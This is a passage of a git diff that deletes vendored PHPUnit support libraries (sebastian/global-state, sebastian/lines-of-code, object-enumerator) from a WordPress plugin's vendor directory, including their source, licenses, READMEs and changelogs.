$snapshot->superGlobalArrays(); - - foreach ($superGlobalArrays as $superGlobalArray) { - $this->restoreSuperGlobalArray($snapshot, $superGlobalArray); - } - - $globalVariables = $snapshot->globalVariables(); - - foreach (array_keys($GLOBALS) as $key) { - if ($key !== 'GLOBALS' && - !in_array($key, $superGlobalArrays, true) && - !$snapshot->excludeList()->isGlobalVariableExcluded($key)) { - if (array_key_exists($key, $globalVariables)) { - $GLOBALS[$key] = $globalVariables[$key]; - } else { - unset($GLOBALS[$key]); - } - } - } - } - - /** - * Restores all static attributes in user-defined classes from this snapshot. - */ - public function restoreStaticAttributes(Snapshot $snapshot): void - { - $current = new Snapshot($snapshot->excludeList(), false, false, false, false, true, false, false, false, false); - $newClasses = array_diff($current->classes(), $snapshot->classes()); - - unset($current); - - foreach ($snapshot->staticAttributes() as $className => $staticAttributes) { - foreach ($staticAttributes as $name => $value) { - $reflector = new ReflectionProperty($className, $name); - $reflector->setAccessible(true); - $reflector->setValue(null, $value); - } - } - - foreach ($newClasses as $className) { - $class = new ReflectionClass($className); - $defaults = $class->getDefaultProperties(); - - foreach ($class->getProperties() as $attribute) { - if (!$attribute->isStatic()) { - continue; - } - - $name = $attribute->getName(); - - if ($snapshot->excludeList()->isStaticAttributeExcluded($className, $name)) { - continue; - } - - if (!isset($defaults[$name])) { - continue; - } - - $attribute->setAccessible(true); - $attribute->setValue(null, $defaults[$name]); - } - } - } - - /** - * Restores a super-global variable array from this snapshot. - */ - private function restoreSuperGlobalArray(Snapshot $snapshot, string $superGlobalArray): void - { - $superGlobalVariables = $snapshot->superGlobalVariables(); - - if (isset($GLOBALS[$superGlobalArray]) && - is_array($GLOBALS[$superGlobalArray]) && - isset($superGlobalVariables[$superGlobalArray])) { - $keys = array_keys( - array_merge( - $GLOBALS[$superGlobalArray], - $superGlobalVariables[$superGlobalArray] - ) - ); - - foreach ($keys as $key) { - if (isset($superGlobalVariables[$superGlobalArray][$key])) { - $GLOBALS[$superGlobalArray][$key] = $superGlobalVariables[$superGlobalArray][$key]; - } else { - unset($GLOBALS[$superGlobalArray][$key]); - } - } - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Snapshot.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Snapshot.php deleted file mode 100644 index 61219cac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/Snapshot.php +++ /dev/null @@ -1,443 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\GlobalState; - -use const PHP_VERSION_ID; -use function array_keys; -use function array_merge; -use function array_reverse; -use function func_get_args; -use function get_declared_classes; -use function get_declared_interfaces; -use function get_declared_traits; -use function get_defined_constants; -use function get_defined_functions; -use function get_included_files; -use function in_array; -use function ini_get_all; -use function is_array; -use function is_object; -use function is_resource; -use function is_scalar; -use function serialize; -use function unserialize; -use ReflectionClass; -use SebastianBergmann\ObjectReflector\ObjectReflector; -use SebastianBergmann\RecursionContext\Context; -use Throwable; - -/** - * A snapshot of global state. - */ -class Snapshot -{ - /** - * @var ExcludeList - */ - private $excludeList; - - /** - * @var array - */ - private $globalVariables = []; - - /** - * @var array - */ - private $superGlobalArrays = []; - - /** - * @var array - */ - private $superGlobalVariables = []; - - /** - * @var array - */ - private $staticAttributes = []; - - /** - * @var array - */ - private $iniSettings = []; - - /** - * @var array - */ - private $includedFiles = []; - - /** - * @var array - */ - private $constants = []; - - /** - * @var array - */ - private $functions = []; - - /** - * @var array - */ - private $interfaces = []; - - /** - * @var array - */ - private $classes = []; - - /** - * @var array - */ - private $traits = []; - - /** - * Creates a snapshot of the current global state. - */ - public function __construct(?ExcludeList $excludeList = null, bool $includeGlobalVariables = true, bool $includeStaticAttributes = true, bool $includeConstants = true, bool $includeFunctions = true, bool $includeClasses = true, bool $includeInterfaces = true, bool $includeTraits = true, bool $includeIniSettings = true, bool $includeIncludedFiles = true) - { - $this->excludeList = $excludeList ?: new ExcludeList; - - if ($includeConstants) { - $this->snapshotConstants(); - } - - if ($includeFunctions) { - $this->snapshotFunctions(); - } - - if ($includeClasses || $includeStaticAttributes) { - $this->snapshotClasses(); - } - - if ($includeInterfaces) { - $this->snapshotInterfaces(); - } - - if ($includeGlobalVariables) { - $this->setupSuperGlobalArrays(); - $this->snapshotGlobals(); - } - - if ($includeStaticAttributes) { - $this->snapshotStaticAttributes(); - } - - if ($includeIniSettings) { - $this->iniSettings = ini_get_all(null, false); - } - - if ($includeIncludedFiles) { - $this->includedFiles = get_included_files(); - } - - if ($includeTraits) { - $this->traits = get_declared_traits(); - } - } - - public function excludeList(): ExcludeList - { - return $this->excludeList; - } - - public function globalVariables(): array - { - return $this->globalVariables; - } - - public function superGlobalVariables(): array - { - return $this->superGlobalVariables; - } - - public function superGlobalArrays(): array - { - return $this->superGlobalArrays; - } - - public function staticAttributes(): array - { - return $this->staticAttributes; - } - - public function iniSettings(): array - { - return $this->iniSettings; - } - - public function includedFiles(): array - { - return $this->includedFiles; - } - - public function constants(): array - { - return $this->constants; - } - - public function functions(): array - { - return $this->functions; - } - - public function interfaces(): array - { - return $this->interfaces; - } - - public function classes(): array - { - return $this->classes; - } - - public function traits(): array - { - return $this->traits; - } - - /** - * Creates a snapshot user-defined constants. - */ - private function snapshotConstants(): void - { - $constants = get_defined_constants(true); - - if (isset($constants['user'])) { - $this->constants = $constants['user']; - } - } - - /** - * Creates a snapshot user-defined functions. - */ - private function snapshotFunctions(): void - { - $functions = get_defined_functions(); - - $this->functions = $functions['user']; - } - - /** - * Creates a snapshot user-defined classes. - */ - private function snapshotClasses(): void - { - foreach (array_reverse(get_declared_classes()) as $className) { - $class = new ReflectionClass($className); - - if (!$class->isUserDefined()) { - break; - } - - $this->classes[] = $className; - } - - $this->classes = array_reverse($this->classes); - } - - /** - * Creates a snapshot user-defined interfaces. - */ - private function snapshotInterfaces(): void - { - foreach (array_reverse(get_declared_interfaces()) as $interfaceName) { - $class = new ReflectionClass($interfaceName); - - if (!$class->isUserDefined()) { - break; - } - - $this->interfaces[] = $interfaceName; - } - - $this->interfaces = array_reverse($this->interfaces); - } - - /** - * Creates a snapshot of all global and super-global variables. - */ - private function snapshotGlobals(): void - { - $superGlobalArrays = $this->superGlobalArrays(); - - foreach ($superGlobalArrays as $superGlobalArray) { - $this->snapshotSuperGlobalArray($superGlobalArray); - } - - foreach (array_keys($GLOBALS) as $key) { - if ($key !== 'GLOBALS' && - !in_array($key, $superGlobalArrays, true) && - $this->canBeSerialized($GLOBALS[$key]) && - !$this->excludeList->isGlobalVariableExcluded($key)) { - /* @noinspection UnserializeExploitsInspection */ - $this->globalVariables[$key] = unserialize(serialize($GLOBALS[$key])); - } - } - } - - /** - * Creates a snapshot a super-global variable array. - */ - private function snapshotSuperGlobalArray(string $superGlobalArray): void - { - $this->superGlobalVariables[$superGlobalArray] = []; - - if (isset($GLOBALS[$superGlobalArray]) && is_array($GLOBALS[$superGlobalArray])) { - foreach ($GLOBALS[$superGlobalArray] as $key => $value) { - /* @noinspection UnserializeExploitsInspection */ - $this->superGlobalVariables[$superGlobalArray][$key] = unserialize(serialize($value)); - } - } - } - - /** - * Creates a snapshot of all static attributes in user-defined classes. - */ - private function snapshotStaticAttributes(): void - { - foreach ($this->classes as $className) { - $class = new ReflectionClass($className); - $snapshot = []; - - foreach ($class->getProperties() as $attribute) { - if ($attribute->isStatic()) { - $name = $attribute->getName(); - - if ($this->excludeList->isStaticAttributeExcluded($className, $name)) { - continue; - } - - $attribute->setAccessible(true); - - if (PHP_VERSION_ID >= 70400 && !$attribute->isInitialized()) { - continue; - } - - $value = $attribute->getValue(); - - if ($this->canBeSerialized($value)) { - /* @noinspection UnserializeExploitsInspection */ - $snapshot[$name] = unserialize(serialize($value)); - } - } - } - - if (!empty($snapshot)) { - $this->staticAttributes[$className] = $snapshot; - } - } - } - - /** - * Returns a list of all super-global variable arrays. - */ - private function setupSuperGlobalArrays(): void - { - $this->superGlobalArrays = [ - '_ENV', - '_POST', - '_GET', - '_COOKIE', - '_SERVER', - '_FILES', - '_REQUEST', - ]; - } - - private function canBeSerialized($variable): bool - { - if (is_scalar($variable) || $variable === null) { - return true; - } - - if (is_resource($variable)) { - return false; - } - - foreach ($this->enumerateObjectsAndResources($variable) as $value) { - if (is_resource($value)) { - return false; - } - - if (is_object($value)) { - $class = new ReflectionClass($value); - - if ($class->isAnonymous()) { - return false; - } - - try { - @serialize($value); - } catch (Throwable $t) { - return false; - } - } - } - - return true; - } - - private function enumerateObjectsAndResources($variable): array - { - if (isset(func_get_args()[1])) { - $processed = func_get_args()[1]; - } else { - $processed = new Context; - } - - $result = []; - - if ($processed->contains($variable)) { - return $result; - } - - $array = $variable; - $processed->add($variable); - - if (is_array($variable)) { - foreach ($array as $element) { - if (!is_array($element) && !is_object($element) && !is_resource($element)) { - continue; - } - - if (!is_resource($element)) { - /** @noinspection SlowArrayOperationsInLoopInspection */ - $result = array_merge( - $result, - $this->enumerateObjectsAndResources($element, $processed) - ); - } else { - $result[] = $element; - } - } - } else { - $result[] = $variable; - - foreach ((new ObjectReflector)->getAttributes($variable) as $value) { - if (!is_array($value) && !is_object($value) && !is_resource($value)) { - continue; - } - - if (!is_resource($value)) { - /** @noinspection SlowArrayOperationsInLoopInspection */ - $result = array_merge( - $result, - $this->enumerateObjectsAndResources($value, $processed) - ); - } else { - $result[] = $value; - } - } - } - - return $result; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/Exception.php deleted file mode 100644 index 94432008..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\GlobalState; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/RuntimeException.php deleted file mode 100644 index 79f02a11..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/global-state/src/exceptions/RuntimeException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\GlobalState; - -final class RuntimeException extends \RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/baseline.xml deleted file mode 100644 index 77e688e0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/baseline.xml +++ /dev/null @@ -1,2 +0,0 @@ - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/config.xml deleted file mode 100644 index 15abef05..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/ChangeLog.md deleted file mode 100644 index 2c960705..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/ChangeLog.md +++ /dev/null @@ -1,41 +0,0 @@ -# ChangeLog - -All notable changes are documented in this file using the [Keep a CHANGELOG](https://keepachangelog.com/) principles. - -## [1.0.4] - 2023-12-22 - -### Changed - -* This component is now compatible with `nikic/php-parser` 5.0 - -## [1.0.3] - 2020-11-28 - -### Fixed - -* Files that do not contain a newline were not handled correctly - -### Changed - -* A line of code is no longer considered to be a Logical Line of Code if it does not contain an `Expr` node - -## [1.0.2] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\LinesOfCode\Exception` now correctly extends `\Throwable` - -## [1.0.1] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [1.0.0] - 2020-07-22 - -* Initial release - -[1.0.4]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.3...1.0.4 -[1.0.3]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.2...1.0.3 -[1.0.2]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.1...1.0.2 -[1.0.1]: https://github.com/sebastianbergmann/lines-of-code/compare/1.0.0...1.0.1 -[1.0.0]: https://github.com/sebastianbergmann/lines-of-code/compare/f959e71f00e591288acc024afe9cb966c6cf9bd6...1.0.0 diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/LICENSE b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/LICENSE deleted file mode 100644 index d170181f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/LICENSE +++ /dev/null @@ -1,33 +0,0 @@ -sebastian/lines-of-code - -Copyright (c) 2020, Sebastian Bergmann . -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - - * Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - - * Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - - * Neither the name of Sebastian Bergmann nor the names of his - contributors may be used to endorse or promote products derived - from this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, -BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT -LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN -ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/README.md deleted file mode 100644 index 9457ef5a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/README.md +++ /dev/null @@ -1,22 +0,0 @@ -# sebastian/lines-of-code - -Library for counting the lines of code in PHP source code. - -[![Latest Stable Version](https://img.shields.io/packagist/v/sebastian/lines-of-code.svg?style=flat-square)](https://packagist.org/packages/sebastian/lines-of-code) -[![Minimum PHP Version](https://img.shields.io/badge/php-%3E%3D%207.3-8892BF.svg?style=flat-square)](https://php.net/) -[![CI Status](https://github.com/sebastianbergmann/lines-of-code/workflows/CI/badge.svg?branch=master&event=push)](https://phpunit.de/build-status.html) -[![Type Coverage](https://shepherd.dev/github/sebastianbergmann/lines-of-code/coverage.svg)](https://shepherd.dev/github/sebastianbergmann/lines-of-code) - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - -``` -composer require sebastian/lines-of-code -``` - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - -``` -composer require --dev sebastian/lines-of-code -``` diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/composer.json deleted file mode 100644 index 3f287865..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/composer.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "name": "sebastian/lines-of-code", - "description": "Library for counting the lines of code in PHP source code", - "type": "library", - "homepage": "https://github.com/sebastianbergmann/lines-of-code", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "lead" - } - ], - "support": { - "issues": "https://github.com/sebastianbergmann/lines-of-code/issues" - }, - "prefer-stable": true, - "require": { - "php": ">=7.3", - "nikic/php-parser": "^4.18 || ^5.0" - }, - "require-dev": { - "phpunit/phpunit": "^9.3" - }, - "config": { - "platform": { - "php": "7.3.0" - }, - "optimize-autoloader": true, - "sort-packages": true - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "1.0-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Counter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Counter.php deleted file mode 100644 index 8153a7b2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Counter.php +++ /dev/null @@ -1,84 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\LinesOfCode; - -use function substr_count; -use PhpParser\Error; -use PhpParser\Node; -use PhpParser\NodeTraverser; -use PhpParser\ParserFactory; - -final class Counter -{ - /** - * @throws RuntimeException - */ - public function countInSourceFile(string $sourceFile): LinesOfCode - { - return $this->countInSourceString(file_get_contents($sourceFile)); - } - - /** - * @throws RuntimeException - */ - public function countInSourceString(string $source): LinesOfCode - { - $linesOfCode = substr_count($source, "\n"); - - if ($linesOfCode === 0 && !empty($source)) { - $linesOfCode = 1; - } - - try { - $nodes = (new ParserFactory)->createForHostVersion()->parse($source); - - assert($nodes !== null); - - return $this->countInAbstractSyntaxTree($linesOfCode, $nodes); - - // @codeCoverageIgnoreStart - } catch (Error $error) { - throw new RuntimeException( - $error->getMessage(), - (int) $error->getCode(), - $error - ); - } - // @codeCoverageIgnoreEnd - } - - /** - * @param Node[] $nodes - * - * @throws RuntimeException - */ - public function countInAbstractSyntaxTree(int $linesOfCode, array $nodes): LinesOfCode - { - $traverser = new NodeTraverser; - $visitor = new LineCountingVisitor($linesOfCode); - - $traverser->addVisitor($visitor); - - try { - /* @noinspection UnusedFunctionResultInspection */ - $traverser->traverse($nodes); - // @codeCoverageIgnoreStart - } catch (Error $error) { - throw new RuntimeException( - $error->getMessage(), - (int) $error->getCode(), - $error - ); - } - // @codeCoverageIgnoreEnd - - return $visitor->result(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/Exception.php deleted file mode 100644 index 11d543aa..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\LinesOfCode; - -use Throwable; - -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php deleted file mode 100644 index 46a5c1b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/IllogicalValuesException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\LinesOfCode; - -use LogicException; - -final class IllogicalValuesException extends LogicException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/NegativeValueException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/NegativeValueException.php deleted file mode 100644 index 40d27e1f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/NegativeValueException.php +++ /dev/null @@ -1,16 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\LinesOfCode; - -use InvalidArgumentException; - -final class NegativeValueException extends InvalidArgumentException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/RuntimeException.php deleted file mode 100644 index 4e6d66d0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/Exception/RuntimeException.php +++ /dev/null @@ -1,14 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\LinesOfCode; - -final class RuntimeException extends \RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LineCountingVisitor.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LineCountingVisitor.php deleted file mode 100644 index ff433b2f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LineCountingVisitor.php +++ /dev/null @@ -1,82 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\LinesOfCode; - -use function array_merge; -use function array_unique; -use function count; -use PhpParser\Comment; -use PhpParser\Node; -use PhpParser\Node\Expr; -use PhpParser\NodeVisitorAbstract; - -final class LineCountingVisitor extends NodeVisitorAbstract -{ - /** - * @var int - */ - private $linesOfCode; - - /** - * @var Comment[] - */ - private $comments = []; - - /** - * @var int[] - */ - private $linesWithStatements = []; - - public function __construct(int $linesOfCode) - { - $this->linesOfCode = $linesOfCode; - } - - public function enterNode(Node $node): void - { - $this->comments = array_merge($this->comments, $node->getComments()); - - if (!$node instanceof Expr) { - return; - } - - $this->linesWithStatements[] = $node->getStartLine(); - } - - public function result(): LinesOfCode - { - $commentLinesOfCode = 0; - - foreach ($this->comments() as $comment) { - $commentLinesOfCode += ($comment->getEndLine() - $comment->getStartLine() + 1); - } - - return new LinesOfCode( - $this->linesOfCode, - $commentLinesOfCode, - $this->linesOfCode - $commentLinesOfCode, - count(array_unique($this->linesWithStatements)) - ); - } - - /** - * @return Comment[] - */ - private function comments(): array - { - $comments = []; - - foreach ($this->comments as $comment) { - $comments[$comment->getStartLine() . '_' . $comment->getStartTokenPos() . '_' . $comment->getEndLine() . '_' . $comment->getEndTokenPos()] = $comment; - } - - return $comments; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LinesOfCode.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LinesOfCode.php deleted file mode 100644 index 41829981..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/lines-of-code/src/LinesOfCode.php +++ /dev/null @@ -1,98 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace SebastianBergmann\LinesOfCode; - -/** - * @psalm-immutable - */ -final class LinesOfCode -{ - /** - * @var int - */ - private $linesOfCode; - - /** - * @var int - */ - private $commentLinesOfCode; - - /** - * @var int - */ - private $nonCommentLinesOfCode; - - /** - * @var int - */ - private $logicalLinesOfCode; - - /** - * @throws IllogicalValuesException - * @throws NegativeValueException - */ - public function __construct(int $linesOfCode, int $commentLinesOfCode, int $nonCommentLinesOfCode, int $logicalLinesOfCode) - { - if ($linesOfCode < 0) { - throw new NegativeValueException('$linesOfCode must not be negative'); - } - - if ($commentLinesOfCode < 0) { - throw new NegativeValueException('$commentLinesOfCode must not be negative'); - } - - if ($nonCommentLinesOfCode < 0) { - throw new NegativeValueException('$nonCommentLinesOfCode must not be negative'); - } - - if ($logicalLinesOfCode < 0) { - throw new NegativeValueException('$logicalLinesOfCode must not be negative'); - } - - if ($linesOfCode - $commentLinesOfCode !== $nonCommentLinesOfCode) { - throw new IllogicalValuesException('$linesOfCode !== $commentLinesOfCode + $nonCommentLinesOfCode'); - } - - $this->linesOfCode = $linesOfCode; - $this->commentLinesOfCode = $commentLinesOfCode; - $this->nonCommentLinesOfCode = $nonCommentLinesOfCode; - $this->logicalLinesOfCode = $logicalLinesOfCode; - } - - public function linesOfCode(): int - { - return $this->linesOfCode; - } - - public function commentLinesOfCode(): int - { - return $this->commentLinesOfCode; - } - - public function nonCommentLinesOfCode(): int - { - return $this->nonCommentLinesOfCode; - } - - public function logicalLinesOfCode(): int - { - return $this->logicalLinesOfCode; - } - - public function plus(self $other): self - { - return new self( - $this->linesOfCode() + $other->linesOfCode(), - $this->commentLinesOfCode() + $other->commentLinesOfCode(), - $this->nonCommentLinesOfCode() + $other->nonCommentLinesOfCode(), - $this->logicalLinesOfCode() + $other->logicalLinesOfCode(), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/baseline.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/baseline.xml deleted file mode 100644 index 180b3f80..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/baseline.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - !is_array($variable) && !is_object($variable) - is_object($variable) - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/config.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/config.xml deleted file mode 100644 index 2a4b16f2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/.psalm/config.xml +++ /dev/null @@ -1,16 +0,0 @@ - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/ChangeLog.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/ChangeLog.md deleted file mode 100644 index 88655418..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/sebastian/object-enumerator/ChangeLog.md +++ /dev/null @@ -1,88 +0,0 @@ -# Change Log - -All notable changes to `sebastianbergmann/object-enumerator` are documented in this file using the [Keep a CHANGELOG](http://keepachangelog.com/) principles. - -## [4.0.4] - 2020-10-26 - -### Fixed - -* `SebastianBergmann\ObjectEnumerator\Exception` now correctly extends `\Throwable` - -## [4.0.3] - 2020-09-28 - -### Changed - -* Changed PHP version constraint in `composer.json` from `^7.3 || ^8.0` to `>=7.3` - -## [4.0.2] - 2020-06-26 - -### Added - -* This component is now supported on PHP 8 - -## [4.0.1] - 2020-06-15 - -### Changed - -* Tests etc. are now ignored for archive exports - -## [4.0.0] - 2020-02-07 - -### Removed - -* This component is no longer supported on PHP 7.0, PHP 7.1, and PHP 7.2 - -## [3.0.3] - 2017-08-03 - -### Changed - -* Bumped required version of `sebastian/object-reflector` - -## [3.0.2] - 2017-03-12 - -### Changed - -* `sebastian/object-reflector` is now a dependency - -## [3.0.1] - 2017-03-12 - -### Fixed - -* Objects aggregated in inherited attributes are not enumerated - -## [3.0.0] - 2017-03-03 - -### Removed - -* This component is no longer supported on PHP 5.6 - -## [2.0.1] - 2017-02-18 - -### Fixed - -* Fixed [#2](https://github.com/sebastianbergmann/phpunit/pull/2): Exceptions in `ReflectionProperty::getValue()` are not handled - -## [2.0.0] - 2016-11-19 - -### Changed - -* This component is now compatible with `sebastian/recursion-context: ~1.0.4` - -## 1.0.0 - 2016-02-04 - -### Added - -* Initial release - -[4.0.4]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.3...4.0.4 -[4.0.3]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.2...4.0.3 -[4.0.2]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.1...4.0.2 -[4.0.1]: https://github.com/sebastianbergmann/object-enumerator/compare/4.0.0...4.0.1 -[4.0.0]: https://github.com/sebastianbergmann/object-enumerator/compare/3.0.3...4.0.0 -[3.0.3]: 